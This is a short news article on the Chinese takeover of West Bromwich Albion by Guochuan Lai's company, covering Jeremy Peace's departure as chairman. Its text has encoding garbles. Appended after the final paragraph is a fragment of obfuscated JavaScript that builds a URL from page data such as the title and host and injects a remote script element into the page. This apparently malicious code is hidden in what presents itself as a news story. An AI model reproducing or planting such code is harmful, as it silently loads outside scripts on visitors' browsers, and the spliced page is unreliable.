West Bromwich Albion has been taken over by Yunyi Guokai (Shanghai) Sports Development Ltd, controlled by businessman Guochuan Lai. The deal highlights the growing interest of China in international football. The deal has been approved by the Britain’s Financial Conduct Authority and the Premier League.

WestBrom Jeremy Peace
WestBrom Jeremy Peace

The roles and responsibilities of chairman Jeremy Peace will be transferred to john Williams. Peace who has held the position for 14 years will abandon his seat on the clubas board and will. He will be present in the advisory board.

Lai who views it as a great investment, said, “I am excited and privileged to have the chance to become the new owner of this great club. We have a strong squad, loyal fans and a unique culture.a? He highlighted that the club has its intrinsic values and ethos which it will maintain. He will never try to change their stable structure.

This is another big move in an effort to make China the global super power in the world of sports as viewed by the President Xi Jinping. The chinese investors also view the financial potential of the Premier League and have also signed a TV deal that starts from 2016-2017. In May English football club Aston Villa had announced takeover by Chinese magnate Xia Jiantong. b322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}


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